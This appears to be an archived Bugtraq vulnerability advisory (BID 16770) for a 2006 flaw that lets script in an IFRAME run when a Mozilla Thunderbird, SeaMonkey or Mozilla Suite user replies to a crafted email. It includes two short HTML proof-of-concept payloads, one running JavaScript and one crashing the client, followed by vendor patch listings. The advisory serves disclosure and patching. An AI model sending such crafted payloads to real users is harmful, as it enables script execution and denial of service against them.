Multiple Mozilla Products IFRAME JavaScript Execution Vulnerability
BID:16770
Info
Multiple Mozilla Products IFRAME JavaScript Execution Vulnerability
| Bugtraq ID: | 16770 |
| Class: | Input Validation Error |
| CVE: |
CVE-2006-0884 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 22 2006 12:00AM |
| Updated: | Sep 05 2007 02:12AM |
| Credit: | The vendor credits Georgi Guninski for reporting this issue. |
| Vulnerable: |
Ubuntu Ubuntu Linux 5.10 powerpc Ubuntu Ubuntu Linux 5.10 i386 Ubuntu Ubuntu Linux 5.10 amd64 Ubuntu Ubuntu Linux 5.0 4 powerpc Ubuntu Ubuntu Linux 5.0 4 i386 Ubuntu Ubuntu Linux 5.0 4 amd64 SuSE SUSE Linux Enterprise Server 8 SuSE Linux Enterprise Server 9 SuSE Linux Desktop 1.0 Sun Solaris 9_x86 Sun Solaris 9 Sun Solaris 8_x86 Sun Solaris 8_sparc Sun Solaris 10.0_x86 Sun Solaris 10.0 Sun Solaris 10 Sun Java Desktop System (JDS) 2.0 S.u.S.E. UnitedLinux 1.0 S.u.S.E. Novell Linux Desktop 9.0 S.u.S.E. Linux Professional 10.0 OSS S.u.S.E. Linux Professional 10.0 S.u.S.E. Linux Professional 9.3 x86_64 S.u.S.E. Linux Professional 9.3 S.u.S.E. Linux Professional 9.2 x86_64 S.u.S.E. Linux Professional 9.2 S.u.S.E. Linux Professional 9.1 x86_64 S.u.S.E. Linux Professional 9.1 S.u.S.E. Linux Personal 10.0 OSS S.u.S.E. Linux Personal 9.3 x86_64 S.u.S.E. Linux Personal 9.3 S.u.S.E. Linux Personal 9.2 x86_64 S.u.S.E. Linux Personal 9.2 S.u.S.E. Linux Personal 9.1 x86_64 S.u.S.E. Linux Personal 9.1 Redhat Linux 9.0 i386 Redhat Linux 7.3 i686 Redhat Linux 7.3 i386 Redhat Linux 7.3 Redhat Fedora Core3 Redhat Fedora Core2 Redhat Fedora Core1 Redhat Enterprise Linux WS 4 Redhat Enterprise Linux WS 3 Redhat Enterprise Linux WS 2.1 IA64 Redhat Enterprise Linux WS 2.1 Redhat Enterprise Linux ES 4 Redhat Enterprise Linux ES 3 Redhat Enterprise Linux ES 2.1 IA64 Redhat Enterprise Linux ES 2.1 Redhat Enterprise Linux AS 4 Redhat Enterprise Linux AS 3 Redhat Enterprise Linux AS 2.1 IA64 Redhat Enterprise Linux AS 2.1 Redhat Desktop 4.0 Redhat Desktop 3.0 Redhat Advanced Workstation for the Itanium Processor 2.1 IA64 Redhat Advanced Workstation for the Itanium Processor 2.1 Mozilla Thunderbird 1.5 beta 2 Mozilla Thunderbird 1.5 Mozilla Thunderbird 1.0.7 Mozilla Thunderbird 1.0.6 Mozilla Thunderbird 1.0.5 Mozilla Thunderbird 1.0.2 Mozilla Thunderbird 1.0.1 Mozilla Thunderbird 1.0 Mozilla Thunderbird 0.9 Mozilla Thunderbird 0.8 Mozilla Thunderbird 0.7.3 Mozilla Thunderbird 0.7.2 Mozilla Thunderbird 0.7.1 Mozilla Thunderbird 0.7 Mozilla Thunderbird 0.6 Mozilla Thunderbird 1.5.0.1 Mozilla SeaMonkey 1.0 dev Mozilla SeaMonkey 1.0 Mozilla Browser 1.7.12 Mozilla Browser 1.7.11 Mozilla Browser 1.7.10 Mozilla Browser 1.7.9 Mozilla Browser 1.7.8 Mozilla Browser 1.7.7 Mozilla Browser 1.7.6 Mozilla Browser 1.7.5 Mozilla Browser 1.7.4 Mozilla Browser 1.7.3 Mozilla Browser 1.7.2 Mozilla Browser 1.7.1 Mozilla Browser 1.7 rc3 Mozilla Browser 1.7 rc2 Mozilla Browser 1.7 rc1 Mozilla Browser 1.7 beta Mozilla Browser 1.7 alpha Mozilla Browser 1.7 Mozilla Browser 1.6 Mozilla Browser 1.5.1 Mozilla Browser 1.5 Mozilla Browser 1.4.4 Mozilla Browser 1.4.2 Mozilla Browser 1.4.1 Mozilla Browser 1.4 b Mozilla Browser 1.4 a Mozilla Browser 1.4 Mozilla Browser 1.3.1 Mozilla Browser 1.3 Mozilla Browser 1.2.1 Mozilla Browser 1.2 Beta Mozilla Browser 1.2 Alpha Mozilla Browser 1.2 Mozilla Browser 1.1 Beta Mozilla Browser 1.1 Alpha Mozilla Browser 1.1 Mozilla Browser 1.0.2 Mozilla Browser 1.0.1 Mozilla Browser 1.0 RC2 Mozilla Browser 1.0 RC1 Mozilla Browser 1.0 Mozilla Browser 0.9.48 Mozilla Browser 0.9.35 Mozilla Browser 0.9.9 Mozilla Browser 0.9.8 Mozilla Browser 0.9.7 Mozilla Browser 0.9.6 Mozilla Browser 0.9.5 Mozilla Browser 0.9.4 .1 Mozilla Browser 0.9.4 Mozilla Browser 0.9.3 Mozilla Browser 0.9.2 .1 Mozilla Browser 0.9.2 Mozilla Browser 0.8 Mandriva Linux Mandrake 2006.0 x86_64 Mandriva Linux Mandrake 2006.0 MandrakeSoft Corporate Server 3.0 x86_64 MandrakeSoft Corporate Server 3.0 HP HP-UX B.11.31 HP HP-UX B.11.23 HP HP-UX B.11.11 Gentoo Linux Debian Linux 3.1 sparc Debian Linux 3.1 s/390 Debian Linux 3.1 ppc Debian Linux 3.1 mipsel Debian Linux 3.1 mips Debian Linux 3.1 m68k Debian Linux 3.1 ia-64 Debian Linux 3.1 ia-32 Debian Linux 3.1 hppa Debian Linux 3.1 arm Debian Linux 3.1 amd64 Debian Linux 3.1 alpha Debian Linux 3.1 |
| Not Vulnerable: |
Mozilla Thunderbird 1.0.8 Mozilla Thunderbird 1.5.0.2 Mozilla SeaMonkey 1.0.1 Mozilla Browser 1.7.13 |
Discussion
Multiple Mozilla Products IFRAME JavaScript Execution Vulnerability
Multiple Mozilla products are prone to a script-execution vulnerability.
The vulnerability presents itself when an attacker supplies a specially crafted email to a user containing malicious script code in an IFRAME and the user tries to reply to the mail. Arbitrary JavaScript can be executed even if the user has disabled JavaScript execution in the client.
The following mozilla products are vulnerable to this issue:
- Mozilla Thunderbird, versions prior to 1.5.0.2, and prior to 1.0.8
- Mozilla SeaMonkey, versions prior to 1.0.1
- Mozilla Suite, versions prior to 1.7.13
Multiple Mozilla products are prone to a script-execution vulnerability.
The vulnerability presents itself when an attacker supplies a specially crafted email to a user containing malicious script code in an IFRAME and the user tries to reply to the mail. Arbitrary JavaScript can be executed even if the user has disabled JavaScript execution in the client.
The following mozilla products are vulnerable to this issue:
- Mozilla Thunderbird, versions prior to 1.5.0.2, and prior to 1.0.8
- Mozilla SeaMonkey, versions prior to 1.0.1
- Mozilla Suite, versions prior to 1.7.13
Exploit / POC
Multiple Mozilla Products IFRAME JavaScript Execution Vulnerability
This issue can be exploited by sending a malicious email.
The following proof of concept is available:
* Javascript execution :
<html>
<body>
<iframe src="javascript:alert('Found by www.sysdream.com !')"></iframe>
</body>
</html>
* Denial of service (application crash) :
<html>
<body>
<iframe src="javascript:parent.document.write('Found by www.sysdream.com
!')"></iframe>
</body>
</html>
This issue can be exploited by sending a malicious email.
The following proof of concept is available:
* Javascript execution :
<html>
<body>
<iframe src="javascript:alert('Found by www.sysdream.com !')"></iframe>
</body>
</html>
* Denial of service (application crash) :
<html>
<body>
<iframe src="javascript:parent.document.write('Found by www.sysdream.com
!')"></iframe>
</body>
</html>
Solution / Fix
Multiple Mozilla Products IFRAME JavaScript Execution Vulnerability
Solution:
Mozilla has released an advisory along with fixes to address this issue.
Sun Solaris 10.0
Sun Solaris 8_sparc
Mozilla SeaMonkey 1.0 dev
Mozilla SeaMonkey 1.0
Mozilla Thunderbird 0.7
Mozilla Thunderbird 0.7.2
Mozilla Thunderbird 0.7.3
Mozilla Browser 0.8
Mozilla Thunderbird 0.8
Mozilla Browser 0.9.2
Mozilla Browser 0.9.4
Mozilla Browser 0.9.4 .1
Mozilla Browser 0.9.48
Mozilla Browser 0.9.6
Mozilla Browser 0.9.7
Mozilla Browser 0.9.8
Mozilla Browser 1.0
Mozilla Browser 1.0 RC1
Mozilla Browser 1.0 RC2
Mozilla Browser 1.0.1
Mozilla Thunderbird 1.0.5
Mozilla Browser 1.1
Mozilla Browser 1.1 Beta
Mozilla Browser 1.2 Alpha
Mozilla Browser 1.2 Beta
Mozilla Browser 1.3.1
Mozilla Browser 1.4.1
Mozilla Browser 1.4.2
Mozilla Browser 1.4.4
Mozilla Thunderbird 1.5
Mozilla Thunderbird 1.5 beta 2
Mozilla Browser 1.6
Mozilla Browser 1.7
Mozilla Browser 1.7 beta
Mozilla Browser 1.7 rc1
Mozilla Browser 1.7.1
Mozilla Browser 1.7.10
Mozilla Browser 1.7.11
Mozilla Browser 1.7.12
Mozilla Browser 1.7.2
Mozilla Browser 1.7.4
Mozilla Browser 1.7.7
Mozilla Browser 1.7.9
S.u.S.E. Linux Professional 9.2
S.u.S.E. Linux Professional 9.3
Solution:
Mozilla has released an advisory along with fixes to address this issue.
Sun Solaris 10.0
-
Sun 119115-19
Mozilla 1.7 for Solaris 10
http://sunsolve.sun.com/search/document.do?assetkey=urn:cds:docid:1-21 -119115-19-1
Sun Solaris 8_sparc
Mozilla SeaMonkey 1.0 dev
-
Mozilla SeaMonkey 1.0.x
http://www.mozilla.org/projects/seamonkey/
Mozilla SeaMonkey 1.0
-
Mozilla SeaMonkey 1.0.x
http://www.mozilla.org/projects/seamonkey/
Mozilla Thunderbird 0.7
-
Mozilla Thunderbird 1.5.x
http://www.mozilla.com/thunderbird/
Mozilla Thunderbird 0.7.2
-
Mozilla Thunderbird 1.5.x
http://www.mozilla.com/thunderbird/
Mozilla Thunderbird 0.7.3
-
Mozilla Thunderbird 1.5.x
http://www.mozilla.com/thunderbird/
Mozilla Browser 0.8
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Thunderbird 0.8
-
Fedora Legacy thunderbird-1.0.8-1.1.fc3.4.legacy.i386.rpm
Fedora Core 3:
http://download.fedoralegacy.org/fedora/3/updates/i386/thunderbird-1.0 .8-1.1.fc3.4.legacy.i386.rpm -
Fedora Legacy thunderbird-1.0.8-1.1.fc3.4.legacy.x86_64.rpm
Fedora Core 3:
http://download.fedoralegacy.org/fedora/3/updates/x86_64/thunderbird-1 .0.8-1.1.fc3.4.legacy.x86_64.rpm -
Mozilla Thunderbird 1.5.x
http://www.mozilla.com/thunderbird/
Mozilla Browser 0.9.2
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 0.9.4
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 0.9.4 .1
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 0.9.48
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 0.9.6
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 0.9.7
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 0.9.8
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.0
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.0 RC1
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.0 RC2
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.0.1
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Thunderbird 1.0.5
-
Mozilla Thunderbird 1.5.x
http://www.mozilla.com/thunderbird/
Mozilla Browser 1.1
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.1 Beta
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.2 Alpha
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.2 Beta
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.3.1
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.4.1
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/ -
RedHat mozilla-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-1.7.13- 1.1.1.legacy.i386.rpm -
RedHat mozilla-chat-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-chat-1. 7.13-1.1.1.legacy.i386.rpm -
RedHat mozilla-devel-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-devel-1 .7.13-1.1.1.legacy.i386.rpm -
RedHat mozilla-dom-inspector-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-dom-ins pector-1.7.13-1.1.1.legacy.i386.rpm -
RedHat mozilla-js-debugger-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-js-debu gger-1.7.13-1.1.1.legacy.i386.rpm -
RedHat mozilla-mail-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-mail-1. 7.13-1.1.1.legacy.i386.rpm -
RedHat mozilla-nspr-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-nspr-1. 7.13-1.1.1.legacy.i386.rpm -
RedHat mozilla-nspr-devel-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-nspr-de vel-1.7.13-1.1.1.legacy.i386.rpm -
RedHat mozilla-nss-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-nss-1.7 .13-1.1.1.legacy.i386.rpm -
RedHat mozilla-nss-devel-1.7.13-1.1.1.legacy.i386.rpm
Fedora Core 1:
http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-nss-dev el-1.7.13-1.1.1.legacy.i386.rpm
Mozilla Browser 1.4.2
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.4.4
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Thunderbird 1.5
-
Mozilla Thunderbird 1.5.x
http://www.mozilla.com/thunderbird/
Mozilla Thunderbird 1.5 beta 2
-
Mozilla Thunderbird 1.5.x
http://www.mozilla.com/thunderbird/
Mozilla Browser 1.6
-
Mandriva lib64nspr4-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva lib64nspr4-devel-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva lib64nss3-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva lib64nss3-devel-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva libnspr4-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva libnspr4-devel-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva libnss3-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva libnss3-devel-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-1.7.8-0.8.C30mdk.src.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-devel-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-devel-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-dom-inspector-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-dom-inspector-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-enigmail-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-enigmail-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-enigmime-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-enigmime-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-irc-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-irc-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-js-debugger-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-js-debugger-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-mail-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-mail-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-spellchecker-1.7.8-0.8.C30mdk.i586.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mandriva mozilla-spellchecker-1.7.8-0.8.C30mdk.x86_64.rpm
Corporate 3.0:
http://www.mandriva.com/en/download -
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/ -
RedHat mozilla-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-1.7.13- 1.2.1.legacy.i386.rpm -
RedHat mozilla-chat-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-chat-1. 7.13-1.2.1.legacy.i386.rpm -
RedHat mozilla-devel-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-devel-1 .7.13-1.2.1.legacy.i386.rpm -
RedHat mozilla-dom-inspector-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-dom-ins pector-1.7.13-1.2.1.legacy.i386.rpm -
RedHat mozilla-js-debugger-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-js-debu gger-1.7.13-1.2.1.legacy.i386.rpm -
RedHat mozilla-mail-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-mail-1. 7.13-1.2.1.legacy.i386.rpm -
RedHat mozilla-nspr-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-nspr-1. 7.13-1.2.1.legacy.i386.rpm -
RedHat mozilla-nspr-devel-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-nspr-de vel-1.7.13-1.2.1.legacy.i386.rpm -
RedHat mozilla-nss-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-nss-1.7 .13-1.2.1.legacy.i386.rpm -
RedHat mozilla-nss-devel-1.7.13-1.2.1.legacy.i386.rpm
Fedora Core 2:
http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-nss-dev el-1.7.13-1.2.1.legacy.i386.rpm
Mozilla Browser 1.7
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7 beta
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7 rc1
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7.1
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7.10
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7.11
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7.12
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7.2
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7.4
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7.7
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
Mozilla Browser 1.7.9
-
Mozilla Mozilla 1.7.x
http://www.mozilla.org/products/mozilla1.x/
S.u.S.E. Linux Professional 9.2
-
SuSE epiphany-1.2.10-0.6.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/epiphany-1.2.10-0 .6.i586.rpm -
SuSE epiphany-1.2.10-0.6.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/epiphany-1.2.10 -0.6.x86_64.rpm -
SuSE epiphany-doc-1.2.10-0.6.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/epiphany-doc-1.2. 10-0.6.i586.rpm -
SuSE epiphany-doc-1.2.10-0.6.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/epiphany-doc-1. 2.10-0.6.x86_64.rpm -
SuSE epiphany-extensions-0.8.2-4.7.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/epiphany-extensio ns-0.8.2-4.7.i586.rpm -
SuSE epiphany-extensions-0.8.2-4.7.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/epiphany-extens ions-0.8.2-4.7.x86_64.rpm -
SuSE epiphany-extensions-devel-0.8.2-4.7.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/epiphany-extensio ns-devel-0.8.2-4.7.i586.rpm -
SuSE epiphany-extensions-devel-0.8.2-4.7.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/epiphany-extens ions-devel-0.8.2-4.7.x86_64.rpm -
SuSE galeon-1.3.19-6.3.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/galeon-1.3.19-6.3 .i586.rpm -
SuSE galeon-1.3.19-6.3.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/galeon-1.3.19-6 .3.x86_64.rpm -
SuSE mozilla-1.7.2-17.17.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/mozilla-1.7.2-17. 17.i586.rpm -
SuSE mozilla-1.7.2-17.17.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/mozilla-1.7.2-1 7.17.x86_64.rpm -
SuSE mozilla-calendar-1.7.2-17.17.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/mozilla-calendar- 1.7.2-17.17.i586.rpm -
SuSE mozilla-calendar-1.7.2-17.17.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/mozilla-calenda r-1.7.2-17.17.x86_64.rpm -
SuSE mozilla-devel-1.7.2-17.17.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/mozilla-devel-1.7 .2-17.17.i586.rpm -
SuSE mozilla-devel-1.7.2-17.17.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/mozilla-devel-1 .7.2-17.17.x86_64.rpm -
SuSE mozilla-dom-inspector-1.7.2-17.17.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/mozilla-dom-inspe ctor-1.7.2-17.17.i586.rpm -
SuSE mozilla-dom-inspector-1.7.2-17.17.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/mozilla-dom-ins pector-1.7.2-17.17.x86_64.rpm -
SuSE mozilla-irc-1.7.2-17.17.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/mozilla-irc-1.7.2 -17.17.i586.rpm -
SuSE mozilla-irc-1.7.2-17.17.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/mozilla-irc-1.7 .2-17.17.x86_64.rpm -
SuSE mozilla-mail-1.7.2-17.17.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/mozilla-mail-1.7. 2-17.17.i586.rpm -
SuSE mozilla-mail-1.7.2-17.17.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/mozilla-mail-1. 7.2-17.17.x86_64.rpm -
SuSE mozilla-spellchecker-1.7.2-17.17.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/mozilla-spellchec ker-1.7.2-17.17.i586.rpm -
SuSE mozilla-spellchecker-1.7.2-17.17.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/mozilla-spellch ecker-1.7.2-17.17.x86_64.rpm -
SuSE mozilla-venkman-1.7.2-17.17.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/mozilla-venkman-1 .7.2-17.17.i586.rpm -
SuSE mozilla-venkman-1.7.2-17.17.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/mozilla-venkman -1.7.2-17.17.x86_64.rpm -
SuSE MozillaFirefox-1.0.8-0.2.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/MozillaFirefox-1. 0.8-0.2.i586.rpm -
SuSE MozillaFirefox-1.0.8-0.2.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/MozillaFirefox- 1.0.8-0.2.x86_64.rpm -
SuSE MozillaFirefox-translations-1.0.8-0.2.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/MozillaFirefox-tr anslations-1.0.8-0.2.i586.rpm -
SuSE MozillaFirefox-translations-1.0.8-0.2.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/MozillaFirefox- translations-1.0.8-0.2.x86_64.rpm -
SuSE MozillaThunderbird-1.0.8-0.2.i586.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/MozillaThunderbir d-1.0.8-0.2.i586.rpm -
SuSE MozillaThunderbird-1.0.8-0.2.x86_64.rpm
SUSE LINUX 9.2:
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/MozillaThunderb ird-1.0.8-0.2.x86_64.rpm
S.u.S.E. Linux Professional 9.3
-
SuSE mozilla-1.7.5-17.10.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/mozilla-1.7.5-17. 10.i586.rpm -
SuSE mozilla-calendar-1.7.5-17.10.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/mozilla-calendar- 1.7.5-17.10.i586.rpm -
SuSE mozilla-devel-1.7.5-17.10.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/mozilla-devel-1.7 .5-17.10.i586.rpm -
SuSE mozilla-dom-inspector-1.7.5-17.10.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/mozilla-dom-inspe ctor-1.7.5-17.10.i586.rpm -
SuSE mozilla-irc-1.7.5-17.10.i586.rpm
SUSE LINUX 9.3:
